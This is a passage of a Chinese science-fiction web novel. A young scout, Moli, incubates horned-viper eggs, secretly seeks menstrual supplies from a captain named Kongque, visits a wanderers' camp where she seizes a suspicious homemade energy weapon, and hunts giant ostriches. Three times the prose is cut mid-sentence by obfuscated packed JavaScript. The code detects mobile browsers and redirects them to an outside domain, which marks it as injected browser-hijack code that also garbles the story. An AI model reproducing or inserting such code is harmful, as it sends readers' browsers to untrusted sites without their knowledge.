望短捧着腾腾冒热气的杯子给茉莉介绍：“我昨天一共带回来六颗角蝰卵，有三颗比较活跃的和两颗平静的我都放进保温箱了，正在观察。还有一颗中途不小心弄碎了，在分析成分。” 补给点条件有限，仪器不比所里精密。可惜碎蛋拼不回去，再放就臭了，望短本着不能浪费的精神，将就用补给点里缺胳膊少腿退休返聘物件简单做点分析。 “那三颗比较活跃的，按现有的理论来说应该能够顺利孵化……但是。”望短喝了口蜂蜜水，不是很确定地往下说，“从监测情况来看，它们的活跃水平一直在下降，很快就要跟剩下两颗差不多了。” 茉莉探过头去看正在显示各种数据的屏幕，总体曲线呈下降趋势，伴随小幅度波动。 但最近五分钟有所回升。 茉莉心中一动，拿出来那枚被她放在口袋里的双头角蝰晶核。 “这是什么？”望短看着那枚深蓝色的拳头大小的晶核问道。 双头角蝰的晶核对比一般异兽的晶核呈现出更精密的晶体结构，通透明亮，各个不同角度的光面折射光线，像一颗经过奇思妙想手工打磨的宝石。 “昨天在那只角蝰碎片中间找到的，应该是它的晶核之一。”茉莉把晶核塞到望短手里，“放进去试试？” 望短照做，把晶核小心放进保温箱，把那一排角蝰卵绕着晶核围成一圈摆好。 望短盯了一会数据，但这种事情哪里会有立竿见影的效果，她又调出来收集的其他数据，对茉莉说： “我看了昨天你的战斗数据，有点奇怪。” 5. 会晤 “主要出现在反应速度和长时间战斗之后的力量表现，这两项数据比平均值下滑的区间超出了正常范围。其他的倒是没什么问题。” “很严重吗？”茉莉眼神闪躲，装模做样喝了口咖啡。 “严重称不上，算是一点反常吧。”望短对茉莉的异常毫无知觉，她敲敲键盘，很自然地跳跃到了另一个话题，“你想好这五颗角蝰卵怎么分配了吗？” “交两颗到研究所挣点分？剩下三颗我们自己留着，给你研究或者万一，孵出小蛇了就养着。” 茉莉做决定向来果断，望短没什么意见。 “我今天有事出去，正好拿两颗送到研究所去，你空了好好休息，明天可不能再呆在补给点了。” 茉莉拿了两颗不活跃的角蝰卵收好，回复一下消息刷刷新闻，很快黄毛鹦鹉的视讯就又拨了过来。 茉莉直接挂了，转而打字回他消息：“就来。” 黄毛鹦鹉：“下楼，在等你。” “又出去有约？”望短听见铃声抬头问道。 “有人请客不吃白不吃，给你打包带点回来？” “不稀罕你的，我去睡觉了，睡醒起来自己去吃。”望短把最后一点蜂蜜水喝完，终于从她的座位上起来到床边去。 “那我先走了，睡醒给我发消息。”茉莉对她日夜颠倒的作息早习以为常，把门轻轻带上下楼去了。 刚走出休息区就看见黄毛鹦鹉骑在越野摩托上，朝她递来一个头盔：“上来。” “吃饭用这种阵仗？”茉莉扫过他抹了发胶的头发和一身到处都是小巧思的穿搭，接过头盔戴上。 “出了点小问题。”黄毛鹦鹉挠头嘿嘿一笑，“先带你见了孔雀再吃。” 茉莉没继续问了，翻身上了摩托，两个人疾驰在一望无垠的沙漠里，身后带起一片扬尘。 黄毛鹦鹉的越野摩托改装过，飙起车来时速非常恐怖，去孔雀约的红色补给点只需要十几分钟。 ……就是刹车不太好使。他从刚能看见补给点轮廓影子的距离就开始死命刹车，前刹后刹一起上，刹车片都磨出火星子了还风驰电掣着到了后门跟前才堪堪刹住。 建筑物的阴影里，一个叼着烟的短发女人看见这辆鬼火过来，把烟头扔地下用脚踩灭了。 茉莉和黄毛鹦鹉从车上下来。 那女人站在阴影里不动，眼睛却只望向茉莉：“来了？你叫什么？” “孔雀队长你好，我是茉莉。”茉莉走近向她伸出手去。 “握手就不必了，你跟我来吧。”孔雀朝黄毛鹦鹉微一仰头示意他留在原地，“车还挺别致的。” 黄毛鹦鹉苦笑，站在原地看着孔雀把茉莉带到另一面墙角他看不到的地方。 转过墙角，孔雀朝茉莉摊开手：“要来一根吗？” 她手心里躺着一个烟盒，一枚雕着一只栩栩如生孔雀的银质打火机。 “不了，成瘾不好戒。”茉莉摆摆手拒绝。 “只不是薄荷提神的小玩意，你们这些小女孩。”她摇摇头打起火又点上一根，深吸上一口。 “说吧，有什么事找我？” 茉莉开门见山：“孔雀队长队伍里有没有来月经的女性？我需要她的联系方式。” 孔雀翘着小拇指把烟嘴取下来，她缓缓吐气，眯起眼睛隔着一层薄薄的薄荷烟雾上下打量茉莉。 面前的女孩充满蓬勃，眼睛透亮地、炯炯地看过来的时候会让她想起另一双眼睛、想起她自己好像也曾经有过一段这样的天真。 当初金沙α星上什么都没有，她站在控制台一侧，星舰降落的失重里她以为这片黄沙会成为她们第三枚勋章的一角。 ……只是没想到后来不止是勋章，所有一切都被黄沙打磨得面目全非、往事难辨。 满目山河空念远，孔雀长久地不语，直到烟雾消散得一干二净。 但孔雀此时的沉默落在茉莉眼里便成了另外一层意思。 茉莉心里转了一圈，从口袋里摸出来一枚角蝰卵：“这是双头角蝰产的卵……” 孔雀嗤地一声笑出来，收拾好情绪：“拿回去吧，收你们小孩东西说出去都让人笑话。” “第一次来月经？今年多少岁了？” “……十五。”茉莉默默把那枚卵放回去。 “小女孩嘛，第一次都很惊慌，正常的，多来几次就好了。”孔雀把烟嘴又放到嘴边吸上最后一口，缓缓从肺里吐出来，似笑非笑，“你要找的人，就在你面前。” ！ 茉莉不可置信地瞪大了眼睛，孔雀扔了烟蒂俯下身来重新递出右手。 等茉莉把手搭上之后，孔雀却捉着不放手，望着茉莉眼睛笑吟吟道：“重新介绍一下我自己吧。我叫孔雀——不是出来混的花名，是真名。” “刚刚没和你说，久仰大名了，小茉莉。”孔雀松开手，把她自己的光脑打开，让茉莉加上她好友，“下次找我，可以不用通过别人也不用打着望短的幌子了。” 茉莉早知道她的小把戏会被孔雀轻易看穿，但目的达到就行，她不在意在孔雀面前的拙劣表现。 孔雀手腕一转，动作快得叫人看不清从哪拿出来的，再一打开她的手心里就又多了几样东西，她挨个给茉莉介绍： “这是特研的止痛药，专门针对痛经的，和现在医疗系统常用的药可以一起吃，不会影响其他止痛药的药效计算；这是卫生巾，身上也没带几片就不拆开了，你到时候一看就知道该怎么用；这是卫生棉条，这个尺寸对你来说太大了，先给你拿着备用……都能降解，放心大胆扔进下水道里。其他有什么不懂的问我就好。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950306|160896||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不要去线上发消息，避开摄像头，就像现在这样。东西用完了来找我，我让人给你送过来。”孔雀一边塞给茉莉一边叮嘱。 ……怎么搞得像地下交易，茉莉心里暗暗想，面上点头应下。 今天天气比昨天好，阳光散漫地普照。茉莉和孔雀两个人并肩站着，看小一点的那个太阳被云团遮盖。 “望短呢？最近怎么样？”孔雀问。 “一切正常，乌鸦嘴又灵了。”茉莉对她会问起望短毫不奇怪，这样的对话已经不是第一次了。 孔雀对望短有一种莫名的、并且不希望望短本人发现的别扭关心，这也是她故意说望短也在的原因。 “你们的考核呢？什么时候能升正式队员？” “快了，这次结束分数应该就够了，剩下就是走流程审个背景然后体检。” “望短比你小一点，也快到要初潮的时间了，到时候你帮帮她，然后告诉我。” “……好。”茉莉花了几秒钟时间接受这个消息，然后松了口气，这样她就可以放心地和望短做长期队友而不必担心她哪天突然裤子流血无法解释了。 孔雀忽然侧过头来：“我一直都很好奇，什么样的人能被望短认可成为她的朋友。” 说着拍拍她肩膀，“今天见到嘛……”后几个字明明快要从嘴里蹦出来，又被她吞回肚子里。 孔雀把剩下半句话变成一个意味深长的笑，茉莉都数不清她今天到底笑了多少次。 “算了不说了，走了。你自己注意安全。” “……？” 茉莉一肚子疑惑，却只能看见孔雀大步流星离开的背影。 茉莉目送孔雀远去。 “怎么样，你竹杠敲成功了吗？”黄毛鹦鹉正躺在摩托上等得百无聊赖，见她回来立马坐好，“饿死我了，快走，就等我们两个了。” 等茉莉上车，黄毛鹦鹉一脚油门踩到底，“轰——”地出发。 地方到了，是个刚搭起来的简陋营地。 空地上不知道用什么东西作燃料生了火，架子上正烤着大块大块的肉，肉香和香料的味道隔着几米远都能闻到。营帐里传来音乐、大笑和交谈声。 “好东西！金沙特产疣猪！”正在架子前一边撒着调料一边翻动着肉块不停忙活的卷毛招呼茉莉两个。 “找个位置坐下来，一会就好。”他在围裙上擦擦手，朝茉莉抛媚眼，“这位妹妹能喝酒吗？” “一点点就好。”茉莉往空位最多的地方坐下。 黄毛鹦鹉撩起营帐门帘，听到她们对话回头警告卷毛：“不许上‘加列’，给她拿度数最低的。” “哼，我可不会像你庞德一样看谁心都是脏的。”卷毛怼完人，又笑嘻嘻来问茉莉，“我这里有珍藏的、琥珀星产的蜜酒，你要来点吗？” 6. 营地 “好啊。”茉莉点点头。 卷毛切出来一盘烤肉，还有满满一杯蜜酒送到她面前。 “里面那些人是干什么的？”茉莉叉起一块送进嘴里。 “庞德没和你说吗？”卷毛一愣，“他什么都没和你说就把你带过来了？” “什么意思？” “这是流浪者的营地，你应该知道他们是一群什么人。”卷毛压低声音悄悄对茉莉透露。 流浪者，著名的“四不管”人群。军队研究所民间探险队生产区统统不收。但凡不是穷凶极恶犯了事的，就是一出生就是黑户的流二代。 他们互相成帮结派，恩怨不由法律由拳头，一群臭名昭著破坏分子。研究所给预备队员上的第一节课就是，面对流浪者，第一点，千万不要暴露你的身份。第二点，跑。 茉莉露出一个茫然的表情：“那你呢？” “我？我和他们不一样。” 卷毛见茉莉一副不谙世事纯真无邪样子，心里生出一份“恻隐之心”。 “要不然……你找个借口骑了庞德的摩托跑路算了。这里不适合你来。”卷毛左右张望确定没人注意到他们，迅速说道。 茉莉眼皮狠狠跳了一下，她喝了一口蜜酒试图压抑住发笑的冲动：“不适合我来？我看你们不是欢迎得很吗？” “如果我没猜错——只要我一起身你的光炮就会指向我，对吗？” “怎么会呢？如果说这里只有一个人希望妹妹你安然无恙的话，那一定是我了。”卷毛脸上做着无辜的表情，手却悄悄往下探去。 开什么玩笑，这种把戏她看过不少， “你想瞄准我的头？还是心脏？”卷毛的动作在茉莉眼里无处遁形，她直视卷毛的眼睛，不紧不慢把杯子放回桌上，“摸摸你的后腰，它还在吗？” “！” “我错了。”卷毛唰地一下举起双手，脸色变得煞白。 “你是该道歉。”一道呕哑的声线的响起，紧接着营帐门帘被一个高大疤脸男掀开。 他脸上有一条歪歪斜斜像蜈蚣一样缝合得很是粗犷的疤口，甚至不是所有地方都被缝上了，随意的针脚之间能看见他植入的义体反射金属光泽。 他浑身气势往那一站，只眼睛斜乜过去就逼得卷毛微微发颤地低下头去不敢和他对视。 “茉莉小姐。”蜈蚣疤脸男先朝茉莉问好，才会过去继续盯着卷毛。 茉莉点一下头，脑子里却开始思考另一件事情。 蜈蚣疤脸男是这群流浪者的首领。庞德，也就是黄毛鹦鹉，是他干儿子。从她记事就像这样，客客气气地称呼她为“茉莉小姐”，对她有求必应……不求回报，甚至不在乎茉莉对他的称呼从“蜈蚣叔叔”省略成“蜈蚣”。但每一次问起自己是从哪来的，他只会露出为难的表情说，“您就是在这里出生的。” 从来没有第二个答案。 金沙α星没有本地土著，这儿没有人造子宫培育基地，至于专门为自然生育女性分娩提供的“生命中心”更不可能存在了。 而像庞德那样偷偷生下来的孩子就会是黑户，不会像茉莉一样有完整的户口资料甚至足够通过研究所的审核。不然他也不会被迫当一名流浪者。 茉莉此前一直觉得“蜈蚣”是在开玩笑，或者有什么不能说出真相的难言之隐，这里从什么地方来的人都有，对过去缄默其口的也不在少数，甚至衍生出了随意询问他人过去是种冒犯的观念。 但……也许他说的是真的呢？从昨天月经降临在茉莉身上起，她出生在金沙α星的可能性就不再是0了。 茉莉叹了口气。 蜈蚣一直密切关注着茉莉脸色，茉莉一口气还没出完，他已经拎了卷毛后领提到茉莉面前了。 茉莉看着卷毛快要蜷成小鸡崽的模样，抢在蜈蚣开口之前将他抢救下来：“算了。” 蜈蚣皱皱鼻子，在他看来，这卷毛敢有拿电磁光炮指着茉莉小姐的想法，就该让他这辈子都不再出现在茉莉面前才对。但茉莉说算了，就算他不情愿也把人放了下来。 一会的功夫，空地上就无声无息站满了人，都是来看卷毛热闹的。庞德挤到茉莉身边：“真就这么算了？” “他手艺还不错，我喜欢。”茉莉夹起一块烤肉，“要不你也去烤点肉来？” 炸过无数次厨房的庞德摸摸他精致的头发丝，猫着缩回人群里了。 卷毛这会倒是很有眼力见，冲到烤肉架前卖力忙活。 “散了散了。”蜈蚣一挥手中断了这场插曲，倒了满满一大杯加列坐在茉莉身边。 “在研究所吃得还好吗？” “在所里的时候还行，出来跑任务就……好歹算能吃饱的水平吧。” “那让他去给你送饭，怎么样？”蜈蚣拿过茉莉从蜈蚣身上缴来的电磁光炮在手里把玩，“我看他除了烤肉其他的也做得不错……咦？” “怎么了？”茉莉也看向那个电磁光炮，“它好像比制式的更小更轻一点。” 茉莉回忆手感：“不是好像，就是要更小更轻。” “这不是我给他的，是他自己的。”蜈蚣翻来覆去摸过每一个零件观察细节，“工艺也比制式的好。” “但不应该啊，他看着不像是能有这种东西的人，难不成是捡来的？” 能出现在金沙α星上的非制式武器可不同寻常，这和天上两颗太阳有关。 两颗太阳，意味着双星系统，金沙α星是这个双星系统里最稳定的行星，而在双星系统之中的其他行星则由于其复杂多变的天文环境，给星际海盗活动提供了天然的庇护所。但金沙α星又是一个能连接两条量子跃迁航道的“枢纽”。作为内有异兽外有星际海盗虎视眈眈的重要要塞，这里一度让军方很是头疼。 十八年前，在这里建立第一个据点之时，为了解决内忧外患，当时的总负责人提出将金沙α星作为特赦区。即入境不论身份，唯一的要求是，不管出入都不能携带任何武器及任何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950307|160896||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 相关的材料工具。 比起让这群法外狂徒壮大星际海盗势力，不如开个口子让他们为铲除异兽出一分力，于是流浪者这么一个特殊的群体应运而生。 相应地，来自军方的每一把制式武器都配备了防拆卸系统和重力自毁系统，一旦被拆开或检测到重力环境改变就会启动自毁装置使整个武器变成一堆破铜烂铁。 ——从无到有自己手搓？不好意思，工业发展程度不允许。 ——拿破铜烂铁重铸改造？不好意思，能源不允许。 所以这样一把自制电磁光炮的出现，让茉莉和蜈蚣的警惕瞬间拉满。 正在此时，卷毛又端了新的烤肉过来。 “刚刚说是算了……”茉莉把电磁光炮套在手上轻佻地转了半圈，“但也不能就这么放过你，这个给我拿走玩玩？” 卷毛一脸难色左瞧右瞧，眼睛望着蜈蚣小心翼翼问道：“那，还会还回来给我吗？” 蜈蚣两手一摊，下巴朝茉莉方向一扬：“问她。” 茉莉笑：“一个电磁光炮而已，给你补个新的不就是了。” 卷毛支支吾吾：“这……我就爱用旧的……” 有问题。卷毛反应显然坐实了他知道这把电磁光炮有问题。 “那就更得放我这里了，万一战场上武器丢了或者坏了被别人抢走了呢？这种东西只能用顺手的可不行，正好多用新的练练。”茉莉张嘴就开始忽悠。 “还给你也行，你带着这东西一起走，别留在我这。”蜈蚣配合唱白脸。 这下进退两难了。卷毛只能忍辱割地求和，两眼汪汪地看着他的宝贝电磁光炮被收进自别人口袋。 一阵不和谐的焦味传来，“喂！你的肉烤糊了！”烤肉架一边有个光头挥舞着锅铲把卷毛叫回去。 “这种人怎么被你招进来的？”茉莉看着卷毛小跑的背影，实在忍不住向蜈蚣吐槽。 “捡来的。他晕在地上我就捡回来了，后来发现他做饭不错就留下来了。”会做饭确实是个值得收留的理由。营地里这么多人，只有卷毛和光头在做饭，其他人都是张着嘴等吃。 “养殖芦花鸡蛋炒饭来了！”光头端着锅子边走边吆喝，先往茉莉面前的盘子里堆了满满两铲的分量，又去给其他人分。 一顿饭吃得心满意足。 走之前茉莉还不忘把炒饭和烤肉各打包一份带走挂在庞德摩托车把上，又顺路兜风去了研究所临时分部把角蝰卵顺利上交。 傍晚才回到蓝色补给点，茉莉敲敲望短房门，没回应，光脑上也没消息。 应该还在补觉。 茉莉耸耸肩，把打包回来的饭盒放在门口地上，留了消息给望短，转头回了自己房间，研究从卷毛手里缴来的那把电磁光炮。 光脑震动打断了她的思绪，拿起来一看，是孔雀给她发来消息：“你在哪个补给点？” “这两天我有事，你需要的东西我会托人送过去。顺便给你带了点小礼物。” 7. 礼物 见面的地方照例约在影音室。 茉莉推开门去，里面有个肌肉线条很漂亮的短发女士坐在沙发上在等她。 如果不是她碧绿的眼睛周围有一丝一丝的褶皱，茉莉差点脱口而出一声姐姐。 “你来啦，小茉莉。”碧眼女士用活泼轻快的语气叫着她名字，拿过身侧的盒子。 打开盒盖，一个鼓鼓囊囊的软布小包，和一把电磁光炮。 “拿起来试试看？”那位女士把电磁光炮递给茉莉，“这是孔雀送你的小礼物。” 茉莉接过来，一入手她感到一种熟悉。 不是在训练和战场上拿惯了制式武器的那种熟悉，而是—— 它和昨天晚上茉莉翻来覆去研究的，从卷毛手里缴来的那把电磁光炮一模一样。 一把自制武器的出现可能是偶然，但如此短时间内两把一模一样的自制武器出现就不再是个巧合了。 巧了，卷毛那把正好被她带在身上。 “我这里也有一把这样的。” 茉莉干脆拿出来和碧眼女士一起比对。外观、重量、零件卡合的细节和涂层抛光都称得上一模一样。唯一的不同是卷毛那把的尾部被他自己用小刀刻上了一个“x”。 越看就越是惊疑。 “我能问问你手上这把从哪来的吗？”碧眼女士问道。 涉及到流浪者，茉莉不知道该不该说，该说多少。好在人家看出来她的犹豫，善解人意地绕过了这个问题。 “我们也是昨天才拿到它，孔雀一个老朋友送过来的，但没见到他人，只有一个包裹里边放了一模一样的两把非制式的电磁光炮。我们这群人还是习惯制式的重量，轻了总觉得别扭。孔雀就说，正好有个小妹妹还在长身体的年纪，用小巧轻便的正好，就让我送过来给你了。”她解释起手上这把的来历。 “起初我们还担心会不会是恶作剧或者炸弹什么的，确认了是真的能用的电磁光炮才松了口气呢。孔雀这两天出差就是和她老朋友见面去了。” “虽然你已经有一个了，但这东西拿着总是不嫌多的。”碧眼女士把盒子盖好交到茉莉手里，“包里的东西你知道是什么，我就懒得介绍了，等过段时间再带你来和姐姐们吃顿饭，我们好好认识一下。” “姐姐们？” “对呀，和你一样的姐姐们可有不少呢，到时候让孔雀来和你挨个介绍。”女士冲茉莉眨眨她深邃的眼睛，站起来亲亲热热地挽着她往外走，“还有别的事情等着我忙呢，有什么我们下次再聊。” 还没问来得及问名字呢，茉莉刚想开口，她就已经冲茉莉挥别了：“下次见啦。” 茉莉只好捧着盒子也朝她挥挥手道别：“姐姐下次见~” 回到房间时，望短刚结束她长达十二小时的一觉起床，狼吞虎咽地吃着茉莉打包带回来的烤肉炒饭。 窗帘拉得密不透风，桌上墙上被实时跳动更新的数据代码映得五光十色。 茉莉直奔保温箱，她走时是什么样，来时还是什么样，毫无动静。 “晶核有用吗？”茉莉对着到处乱飞的数据半天也找不出重点，干脆扭头直接问。 “有是有。”望短点点头，“就是不知道多久才能孵出来。” “那它们怎么办？”茉莉指指那些角蝰卵，带走不太现实，留在这里又没人照看。 “先放这里，我写了个检测程序，如果孵出来了它就会通知我的。”望短风卷残云般地解决完早饭，从凳子上跳起来开始收拾东西。 “那行。”茉莉也来帮忙收拾东西，任务一共七天已经过半了，还有最后三天的时间，完成任务不算吃力，但是偷懒还是不行的。 今天她们不打算跑太远的地方了，就在周边转转，万一角蝰孵化了好及时赶回来。 茉莉把多的两把电磁光炮也放进包里，军火充足，今天够她放开手脚玩一把。 又是一个万里无云的天，出门得略晚了一点临近中午，阳光炙烤着沙地，热气又从脚底往上蒸，闷得人晕晕沉沉。 茉莉在行动间掏出薄荷制剂来给自己提神降温，她的减光偏振护目镜里汗水都聚在了一团。 她取下护目镜擦干水渍。 望短 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950308|160896||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 停下来等她，一边张望四周，这一张望，还真就让她看出点东西来。 她用手肘捅捅茉莉，指着远处几个反光的白点问：“看那里，好像有东西。” 茉莉条件反射地直接朝望短手指的方向看过去，没有护目镜保护的她被太阳光灼得眼睛一痛。 “嘶——”她眼睛一眨，两行眼泪就涌出来和汗水混成一片。 奇怪了，这个日子太阳不会如此刺眼才对。 茉莉忍着不适戴好护目镜，艰难地重新睁开眼睛努力辨认：“……形状像鸡？” “走，我们过去看看就知道了。” 速度拉满，两个人如流星一般朝“鸡群”赶去。 它们白色的羽毛像面镜子一样反光，戴上护目镜也觉得亮得刺眼，离得近了才发现那不是鸡，是群鸵鸟。 它们细长腿部和脖子的皮肤是一种淡淡的黄粉色，远看在白色羽毛的映衬下几乎和沙漠融为一体。 望短启动她头盔的录像功能拍下来和本地数据库比对，照着结果念：“白化沙漠鸵鸟，没什么特别异变的部位，就是体型大了点。” 茉莉看了看这群身高三米多的异兽，她不打算近战，从包里拿出来孔雀送的小礼物，和研究所配的制式电磁光炮一左一右锁紧在双臂武器匣上。 望短自觉地退到一边。 茉莉低空浮起，掠飞贴近到合适距离，抬臂，瞄准，发射。 她双炮瞄准其中一只鸵鸟脖子根部同一个点，两倍的杀伤力让它痛苦地嚎叫。一边嚎叫一边扑扇着翅膀挣扎。 被它一惊，整群鸵鸟都开始躁动起来，迈开步子四处逃窜。 一步、两步、三步。到第四步的时候这群鸵鸟纷纷起飞，呼啦啦地散开成难以追击的程度，还有两只往茉莉的方向来。 “打草惊蛇了，我估计它们异变在了翅膀上。”情况不对，茉莉先撤回到望短身边。 “我感觉它们好像没看见我，是不是眼睛不太好？” “它们看没看见你不知道。”望短拉起茉莉手臂就带着她继续跑路，“有别人看见我们了。”